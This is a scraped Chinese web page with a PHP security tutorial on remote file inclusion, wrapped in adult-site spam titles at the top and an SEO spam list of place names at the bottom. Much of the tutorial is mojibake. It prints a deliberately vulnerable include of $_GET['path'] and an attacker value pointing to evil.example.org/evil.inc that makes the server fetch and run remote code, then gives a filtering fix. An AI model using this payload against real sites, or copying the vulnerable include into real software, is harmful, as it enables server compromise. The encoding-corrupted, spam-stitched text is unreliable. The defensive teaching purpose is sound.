久久r热视频,国产午夜精品一区二区三区视频,亚洲精品自拍偷拍,欧美日韩精品二区

您的位置:首頁(yè)技術(shù)文章
文章詳情頁(yè)

PHP安全-代碼注入

瀏覽:139日期:2022-09-12 08:03:12
代碼注入

一個(gè)特別危險(xiǎn)的情形是當(dāng)你試圖使用被污染數(shù)據(jù)作為動(dòng)態(tài)包含的前導(dǎo)部分時(shí):

<?php

include '{$_GET[’path’]}/header.inc';

?>

在這種情形下攻擊者能操縱不只是文件名,還能控制所包含的資源。由于PHP默認(rèn)不只可以包含文件,還可以包含下面的資源(由配置文件中的allow_url_fopen所控制):

<?php

include ’http://www.google.com/’;

?>

include語(yǔ)句在此時(shí)會(huì)把http://www.google.com的網(wǎng)頁(yè)源代碼作為本地文件一樣包含進(jìn)來。雖然上面的例子是無害的,但是想像一下如果GOOGLE返回的源代碼包含PHP代碼時(shí)會(huì)如何。這樣其中包含的PHP代碼就會(huì)被解析并執(zhí)行。這是攻擊者借以發(fā)布惡意代碼摧毀你的安全體系的良機(jī)。

想象一下path的值指向了下面的攻擊者所控制的資源:

http://example.org/index.php?pat ... e.org%2Fevil.inc%3F

在上例中,path的值是URL編碼過的,原值如下:

http://evil.example.org/evil.inc?

這就導(dǎo)致了include語(yǔ)句包含并執(zhí)行了攻擊者所選定的腳本(evil.inc),同時(shí)原來的文件名/header.inc會(huì)被認(rèn)為是一個(gè)請(qǐng)求串:

<?php

include 'http://evil.example.org/evil.inc?/header.inc';

?>

這樣攻擊者就避免了去猜測(cè)剩下的目錄和文件名(/header.onc)并在evil.example.org上建立相同的路徑和文件名的必要性。相反地,在受攻擊網(wǎng)站的具體文件名被屏蔽的情況下,他只要保證evil.inc中輸出合法的他想要執(zhí)行的代碼就行了。

這種情況與允許攻擊者在你的網(wǎng)站上直接修改PHP代碼一樣危險(xiǎn)。幸運(yùn)的是,只要在include和require語(yǔ)句前對(duì)數(shù)據(jù)進(jìn)行過濾即可防止這種情況的發(fā)生:

<?php

$clean = array();

/* $_GET[’path’] is filtered and stored in $clean[’path’]. */

include '{$clean[’path’]}/header.inc';

?>

標(biāo)簽: PHP
相關(guān)文章:
主站蜘蛛池模板: 论坛| 河北省| 临江市| 横峰县| 基隆市| 漳州市| 阿合奇县| 岳阳县| 卓尼县| 宁蒗| 鹿泉市| 乌兰县| 高陵县| 霍林郭勒市| 余干县| 河池市| 西平县| 屯昌县| 宜川县| 静安区| 格尔木市| 鄯善县| 外汇| 张家港市| 浮梁县| 安图县| 昂仁县| 托克逊县| 光山县| 海林市| 边坝县| 建瓯市| 阜平县| 荆门市| 谷城县| 诸城市| 定西市| 界首市| 礼泉县| 七台河市| 确山县|